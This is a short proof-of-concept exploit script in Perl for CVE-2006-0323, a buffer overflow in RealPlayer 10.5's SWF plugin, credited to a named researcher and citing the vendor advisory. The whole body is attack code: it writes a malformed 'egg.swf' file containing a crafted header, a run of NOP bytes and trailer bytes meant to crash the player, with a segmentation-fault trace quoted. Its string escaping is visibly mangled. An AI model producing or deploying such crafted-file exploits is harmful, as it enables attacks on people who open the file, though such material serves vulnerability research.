RealPlayer 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC

                                                #!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE=\\\"egg.swf\\\";
my $header=\\\"\\\\x46\\\\x57\\\\x53\\\\x05\\\\xCF\\\\x00\\\\x00\\\\x00\\\\x60\\\";

my $endheader=\\\"\\\\x19\\\\xe4\\\\x7d\\\\x1c\\\\xaf\\\\xa3\\\\x92\\\\x0c\\\\x72\\\\xc1\\\\x80\\\\x00\\\\xa2\\\\x08\\\\x01\\\".
	      \\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x03\\\\x00\\\\x02\\\".
	      \\\"\\\\x00\\\\x00\\\\x00\\\\x04\\\\x04\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x08\\\\x05\\\\x00\\\\x04\\\\x00\\\".
              \\\"\\\\x00\\\\x00\\\\x00\\\\x89\\\\x06\\\\x06\\\\x01\\\\x00\\\\x01\\\\x00\\\\x16\\\\xfa\\\\x1f\\\\x40\\\\x40\\\".
	      \\\"\\\\x00\\\\x00\\\\x00\\\";


open(EGG, \\\">$EGGFILE\\\") or die \\\"ERROR:$EGGFILE\\\\n\\\";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= \\\"\\\\x90\\\";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);